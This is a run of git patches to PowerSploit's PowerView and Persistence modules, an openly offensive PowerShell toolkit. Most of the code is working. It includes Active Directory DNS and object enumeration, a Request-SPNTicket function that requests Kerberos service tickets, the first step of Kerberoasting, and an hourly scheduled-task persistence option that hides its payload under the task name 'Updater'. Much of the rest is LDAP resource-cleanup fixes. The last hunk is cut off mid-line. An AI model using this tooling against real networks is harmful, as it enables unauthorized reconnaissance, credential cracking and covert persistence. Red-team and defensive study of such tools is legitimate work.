b/Recon/PowerView.ps1 @@ -1678,6 +1678,7 @@ filter Get-DomainSearcher { } $Searcher.PageSize = $PageSize + $Searcher.CacheResults = $False $Searcher } @@ -2126,10 +2127,13 @@ function Get-NetUser { $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" } - $UserSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $UserSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { # convert/process the LDAP fields for each result Convert-LDAPProperty -Properties $_.Properties } + $Results.dispose() + $UserSearcher.dispose() } } } @@ -2857,7 +2861,8 @@ function Get-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Object = [adsi]($_.path) if($Object.distinguishedname) { @@ -2909,6 +2914,8 @@ function Get-ObjectAcl { } else { $_ } } + $Results.dispose() + $Searcher.dispose() } catch { Write-Warning $_ @@ -3080,7 +3087,9 @@ function Add-ObjectAcl { } try { - $Searcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects $TargetDN = $_.Properties.distinguishedname @@ -3135,6 +3144,8 @@ function Add-ObjectAcl { Write-Warning "Error granting principal $PrincipalSID '$Rights' on $TargetDN : $_" } } + $Results.dispose() + $Searcher.dispose() } catch { Write-Warning "Error: $_" @@ -3303,10 +3314,13 @@ filter Get-GUIDMap { if($SchemaSearcher) { $SchemaSearcher.filter = "(schemaIDGUID=*)" try { - $SchemaSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $SchemaSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { # convert the GUID $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] } + $Results.dispose() + $SchemaSearcher.dispose() } catch { Write-Debug "Error in building GUID map: $_" @@ -3317,10 +3331,13 @@ filter Get-GUIDMap { if ($RightsSearcher) { $RightsSearcher.filter = "(objectClass=controlAccessRight)" try { - $RightsSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $RightsSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { # convert the GUID $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] } + $Results.dispose() + $RightsSearcher.dispose() } catch { Write-Debug "Error in building GUID map: $_" @@ -3520,8 +3537,8 @@ function Get-NetComputer { $CompSearcher.filter = $CompFilter try { - - $CompSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $CompSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Up = $True if($Ping) { # TODO: how can these results be piped to ping for a speedup? @@ -3539,6 +3556,8 @@ function Get-NetComputer { } } } + $Results.dispose() + $CompSearcher.dispose() } catch { Write-Warning "Error: $_" @@ -3680,7 +3699,8 @@ function Get-ADObject { $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" } - $ObjectSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $ObjectSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { if($ReturnRaw) { $_ } @@ -3689,6 +3709,8 @@ function Get-ADObject { Convert-LDAPProperty -Properties $_.Properties } } + $Results.dispose() + $ObjectSearcher.dispose() } } } @@ -4233,7 +4255,8 @@ function Get-NetOU { } try { - $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $OUSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result Convert-LDAPProperty -Properties $_.Properties @@ -4243,6 +4266,8 @@ function Get-NetOU { $_.properties.adspath } } + $Results.dispose() + $OUSearcher.dispose() } catch { Write-Warning $_ @@ -4346,7 +4371,8 @@ function Get-NetSite { } try { - $SiteSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $SiteSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result Convert-LDAPProperty -Properties $_.Properties @@ -4356,6 +4382,8 @@ function Get-NetSite { $_.properties.name } } + $Results.dispose() + $SiteSearcher.dispose() } catch { Write-Warning $_ @@ -4453,7 +4481,8 @@ function Get-NetSubnet { $SubnetSearcher.filter="(&(objectCategory=subnet))" try { - $SubnetSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $SubnetSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { if ($FullData) { # convert/process the LDAP fields for each result Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" } @@ -4476,6 +4505,8 @@ function Get-NetSubnet { } } } + $Results.dispose() + $SubnetSearcher.dispose() } catch { Write-Warning $_ @@ -4686,8 +4717,9 @@ function Get-NetGroup { else { $GroupSearcher.filter = "(&(objectCategory=group)(name=$GroupName)$Filter)" } - - $GroupSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + + $Results = $GroupSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { # if we're returning full data objects if ($FullData) { # convert/process the LDAP fields for each result @@ -4698,6 +4730,8 @@ function Get-NetGroup { $_.properties.samaccountname } } + $Results.dispose() + $GroupSearcher.dispose() } } } @@ -4869,7 +4903,8 @@ function Get-NetGroupMember { $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)" } - $GroupSearcher.FindAll() | ForEach-Object { + $Results = $GroupSearcher.FindAll() + $Results | ForEach-Object { try { if (!($_) -or !($_.properties) -or !($_.properties.name)) { continue } @@ -4917,6 +4952,8 @@ function Get-NetGroupMember { Write-Verbose $_ } } + $Results.dispose() + $GroupSearcher.dispose() } $Members | Where-Object {$_} | ForEach-Object { @@ -5377,7 +5414,8 @@ function Get-DFSshare { $DFSsearcher.filter = "(&(objectClass=fTDfs))" try { - $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $RemoteNames = $Properties.remoteservername $Pkt = $Properties.pkt @@ -5393,6 +5431,8 @@ function Get-DFSshare { } } } + $Results.dispose() + $DFSSearcher.dispose() if($pkt -and $pkt[0]) { Parse-Pkt $pkt[0] | ForEach-Object { @@ -5442,7 +5482,8 @@ function Get-DFSshare { $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) try { - $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $target_list = $Properties.'msdfs-targetlistv2'[0] $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) @@ -5460,6 +5501,8 @@ function Get-DFSshare { } } } + $Results.dispose() + $DFSSearcher.dispose() } catch { Write-Warning "Get-DFSshareV2 error : $_" @@ -5873,11 +5916,14 @@ function Get-NetGPO { $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" try { - $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $GPOSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Out = Convert-LDAPProperty -Properties $_.Properties $Out | Add-Member Noteproperty 'ComputerName' $ComputerName $Out } + $Results.dispose() + $GPOSearcher.dispose() } catch { Write-Warning $_ @@ -5894,10 +5940,13 @@ function Get-NetGPO { } try { - $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $GPOSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { # convert/process the LDAP fields for each result Convert-LDAPProperty -Properties $_.Properties } + $Results.dispose() + $GPOSearcher.dispose() } catch { Write-Warning $_ @@ -11762,7 +11811,8 @@ function Get-NetDomainTrust { $TrustSearcher.filter = '(&(objectClass=trustedDomain))' - $TrustSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Results = $TrustSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { $Props = $_.Properties $DomainTrust = New-Object PSObject $TrustAttrib = Switch ($Props.trustattributes) @@ -11795,6 +11845,8 @@ function Get-NetDomainTrust { $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" $DomainTrust } + $Results.dispose() + $TrustSearcher.dispose() } } From 4cedfa1c308a1bc37530725734290d506c0170dd Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sun, 24 Apr 2016 10:56:07 -0400 Subject: [PATCH 123/296] added Request-SPNTicket to request kerberos tickets for specified SPNs --- Recon/PowerView.ps1 | 48 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 4c64e80d..dd63509a 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1262,6 +1262,54 @@ filter Get-Proxy { } +function Request-SPNTicket { +<# + .SYNOPSIS + + Request the kerberos ticket for a specified service principal name (SPN). + + .PARAMETER SPN + + The service principal name to request the ticket for. Required. + + .EXAMPLE + + PS C:\> Request-SPNTicket -SPN "HTTP/web.testlab.local" + + Request a kerberos service ticket for the specified SPN. + + .EXAMPLE + + PS C:\> "HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Request-SPNTicket + + Request kerberos service tickets for all SPNs passed on the pipeline. + + .EXAMPLE + + PS C:\> Get-NetUser -SPN | Request-SPNTicket + + Request kerberos service tickets for all users with non-null SPNs. +#> + + [CmdletBinding()] + Param ( + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)] + [Alias('ServicePrincipalName')] + [String[]] + $SPN + ) + + begin { + Add-Type -AssemblyName System.IdentityModel + } + + process { + Write-Verbose "Requesting ticket for: $SPN" + New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN + } +} + + function Get-PathAcl { <# .SYNOPSIS From 75a37a0f175a70566ac23fc6839aaffccee18abd Mon Sep 17 00:00:00 2001 From: pyllyukko Date: Mon, 25 Apr 2016 17:44:24 +0300 Subject: [PATCH 124/296] Added ScheduledTaskHourly to New-UserPersistenceOption --- Persistence/Persistence.psm1 | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index b957cb78..0861af67 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -229,6 +229,10 @@ function New-UserPersistenceOption Starts the payload daily. +.PARAMETER Hourly + + Starts the payload hourly. + .PARAMETER At Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. @@ -248,6 +252,7 @@ function New-UserPersistenceOption [CmdletBinding()] Param ( [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] + [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] [Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )] [Switch] $ScheduledTask, @@ -260,6 +265,10 @@ function New-UserPersistenceOption [Switch] $Daily, + [Parameter( ParameterSetName = 'ScheduledTaskHourly', Mandatory = $True )] + [Switch] + $Hourly, + [Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )] [DateTime] $At, @@ -300,6 +309,12 @@ function New-UserPersistenceOption $PersistenceOptionsTable['Time'] = $At } + 'ScheduledTaskHourly' + { + $PersistenceOptionsTable['Method'] = 'ScheduledTask' + $PersistenceOptionsTable['Trigger'] = 'Hourly' + } + 'Registry' { $PersistenceOptionsTable['Method'] = 'Registry' @@ -637,6 +652,11 @@ Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Obj $UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR " } + 'Hourly' + { + $UserTrigger = "schtasks /Create /SC HOURLY /TN Updater /TR " + } + 'OnIdle' { $UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR " From 68c446b9b98db80d6cc683330f3b212907c02136 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 25 Apr 2016 19:52:39 -0400 Subject: [PATCH 125/296] Changed some property types in Get-ObjectACL --- Recon/PowerView.ps1 | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index dd63509a..cbe5d836 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -2846,18 +2846,25 @@ function Get-ObjectAcl { Get the ACLs for the matt.admin user in the testlab.local domain and resolve relevant GUIDs to their display names. + + .EXAMPLE + + PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs + + Enumerate the ACL permissions for all OUs in the domain. #> [CmdletBinding()] Param ( - [Parameter(ValueFromPipeline=$True)] + [Parameter(ValueFromPipelineByPropertyName=$True)] [String] $SamAccountName, + [Parameter(ValueFromPipelineByPropertyName=$True)] [String] $Name = "*", - [Alias('DN')] + [Parameter(ValueFromPipelineByPropertyName=$True)] [String] $DistinguishedName = "*", From 1f90c2942923a69a37834eb1e0033723cd82a7f4 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 27 Apr 2016 18:42:51 -0400 Subject: [PATCH 126/296] Added Get-DNSZone and Get-DNSRecord to enumerate AD DNS information. Added Convert-DNSRecord (ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1) - needs expansion work on record types --- Recon/PowerView.ps1 | 360 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 360 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index cbe5d836..54336000 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1731,6 +1731,366 @@ filter Get-DomainSearcher { } +filter Convert-DNSRecord { +<# + .SYNOPSIS + + Decodes a binary DNS record. + + Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 + + .PARAMETER DNSRecord + + The domain to query for zones, defaults to the current domain. + + .LINK + + https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 +#> + param( + [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] + [Byte[]] + $DNSRecord + ) + + function Get-Name { + # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1 + [CmdletBinding()] + param( + [Byte[]] + $Raw + ) + + [Int]$Length = $Raw[0] + [Int]$Segments = $Raw[1] + [Int]$Index = 2 + [String]$Name = "" + + while ($Segments-- -gt 0) + { + [Int]$SegmentLength = $Raw[$Index++] + while ($SegmentLength-- -gt 0) { + $Name += [Char]$Raw[$Index++] + } + $Name += "." + } + $Name + } + + $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0) + $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) + $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) + + $TTLRaw = $DNSRecord[12..15] + # reverse for big endian + $Null = [array]::Reverse($TTLRaw) + $TTL = [BitConverter]::ToUInt32($TTLRaw, 0) + + $Age = [BitConverter]::ToUInt32($DNSRecord, 20) + if($Age -ne 0) { + $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() + } + else { + $TimeStamp = "[static]" + } + + if($RDataType -eq 1) { + $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] + + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $IP + $DNSRecordObject + } + + elseif($RDataType -eq 2) { + $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] + + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $NSName + $DNSRecordObject + } + + elseif($RDataType -eq 5) { + $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] + + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Alias + $DNSRecordObject + } + + elseif($RDataType -eq 6) { + # SOA record + # TODO: how to implement properly? nested object? + } + + elseif($RDataType -eq 12) { + $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] + + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Ptr + $DNSRecordObject + } + + elseif($RDataType -eq 13) { + # HINFO record + # TODO: how to implement properly? nested object? + } + + elseif($RDataType -eq 15) { + # MX record + # TODO: how to implement properly? nested object? + } + + elseif($RDataType -eq 16) { + + [string]$TXT = "" + [int]$SegmentLength = $DNSRecord[24] + $Index = 25 + while ($SegmentLength-- -gt 0) { + $TXT += [char]$DNSRecord[$index++] + } + + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $TXT + $DNSRecordObject + } + + elseif($RDataType -eq 28) { + # AAAA record + # TODO: how to implement properly? nested object? + } + + elseif($RDataType -eq 33) { + # ARV record + # TODO: how to implement properly? nested object? + } + + else { + $DNSRecordObject = New-Object PSObject + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject + } +} + + +filter Get-DNSZone { +<# + .SYNOPSIS + + Enumerates the Active Directory DNS zones for a given domain. + + .PARAMETER Domain + + The domain to query for zones, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .PARAMETER FullData + + Switch. Return full computer objects instead of just system names (the default). + + .EXAMPLE + + PS C:\> Get-DNSZone + + Retrieves the DNS zones for the current domain. + + .EXAMPLE + + PS C:\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local + + Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries + through the primary.testlab.local domain controller. +#> + + param( + [Parameter(Position=0, ValueFromPipeline=$True)] + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential, + + [Switch] + $FullData + ) + + # $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones" + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=DomainDnsZones" + $DNSSearcher.filter="(objectClass=dnsZone)" + + if($DNSSearcher) { + $Results = $DNSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + $Properties = Convert-LDAPProperty -Properties $_.Properties + $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name + + if ($FullData) { + $Properties + } + else { + $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged + } + } + $Results.dispose() + $DNSSearcher.dispose() + } +} + + +filter Get-DNSRecord { +<# + .SYNOPSIS + + Enumerates the Active Directory DNS records for a given zone. + + .PARAMETER ZoneName + + The zone to query for records (which can be enumearted with Get-DNSZone). Required. + + .PARAMETER Domain + + The domain to query for zones, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-DNSRecord -ZoneName testlab.local + + Retrieve all records for the testlab.local zone. + + .EXAMPLE + + PS C:\> Get-DNSZone | Get-DNSRecord + + Retrieve all records for all zones in the current domain. + + .EXAMPLE + + PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local + + Retrieve all records for all zones in the dev.testlab.local domain. +#> + + param( + [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)] + [String] + $ZoneName, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" + $DNSSearcher.filter="(objectClass=dnsNode)" + + if($DNSSearcher) { + $Results = $DNSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + try { + # convert/process the LDAP fields for each result + $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged + $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName + + # convert the record and extract the properties + if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { + # TODO: handle multiple nested records properly? + $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0] + } + else { + $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord + $Properites.dnsrecord = [System.Convert]::ToBase64String([byte]$Properites.dnsrecord) + } + + if($Record) { + $Record.psobject.properties | ForEach-Object { + $Properties | Add-Member NoteProperty $_.Name $_.Value + } + } + + $Properties + } + catch { + $Properties + } + } + $Results.dispose() + $DNSSearcher.dispose() + } +} + + filter Get-NetDomain { <# .SYNOPSIS From fbf6f30833cc7280671ea9cdb36f76e754e701ed Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 27 Apr 2016 19:11:49 -0400 Subject: [PATCH 127/296] Modified Convert-DNSRecord to return the base64 encoded record for record types not currently handled. --- Recon/PowerView.ps1 | 78 +++++++++++++++------------------------------ 1 file changed, 26 insertions(+), 52 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 54336000..689a28fd 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1794,71 +1794,48 @@ filter Convert-DNSRecord { $TimeStamp = "[static]" } + $DNSRecordObject = New-Object PSObject + if($RDataType -eq 1) { $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] - - $DNSRecordObject = New-Object PSObject + $Data = $IP $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $IP - $DNSRecordObject } elseif($RDataType -eq 2) { $NSName = Get-Name $DNSRecord[24..$DNSRecord.length] - - $DNSRecordObject = New-Object PSObject + $Data = $NSName $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $NSName - $DNSRecordObject } elseif($RDataType -eq 5) { $Alias = Get-Name $DNSRecord[24..$DNSRecord.length] - - $DNSRecordObject = New-Object PSObject + $Data = $Alias $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $Alias - $DNSRecordObject } elseif($RDataType -eq 6) { - # SOA record # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' } elseif($RDataType -eq 12) { $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] - - $DNSRecordObject = New-Object PSObject + $Data = $Ptr $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $Ptr - $DNSRecordObject } elseif($RDataType -eq 13) { - # HINFO record # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' } elseif($RDataType -eq 15) { - # MX record # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' } elseif($RDataType -eq 16) { @@ -1870,36 +1847,33 @@ filter Convert-DNSRecord { $TXT += [char]$DNSRecord[$index++] } - $DNSRecordObject = New-Object PSObject + $Data = $TXT $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $TXT - $DNSRecordObject } elseif($RDataType -eq 28) { - # AAAA record # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' } elseif($RDataType -eq 33) { - # ARV record # TODO: how to implement properly? nested object? + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) + $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' } else { - $DNSRecordObject = New-Object PSObject + $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' - $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial - $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL - $DNSRecordObject | Add-Member Noteproperty 'Age' $Age - $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp - $DNSRecordObject | Add-Member Noteproperty 'Data' $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) - $DNSRecordObject } + + $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial + $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL + $DNSRecordObject | Add-Member Noteproperty 'Age' $Age + $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp + $DNSRecordObject | Add-Member Noteproperty 'Data' $Data + $DNSRecordObject } @@ -2070,7 +2044,6 @@ filter Get-DNSRecord { } else { $Record = Convert-DNSRecord -DNSRecord 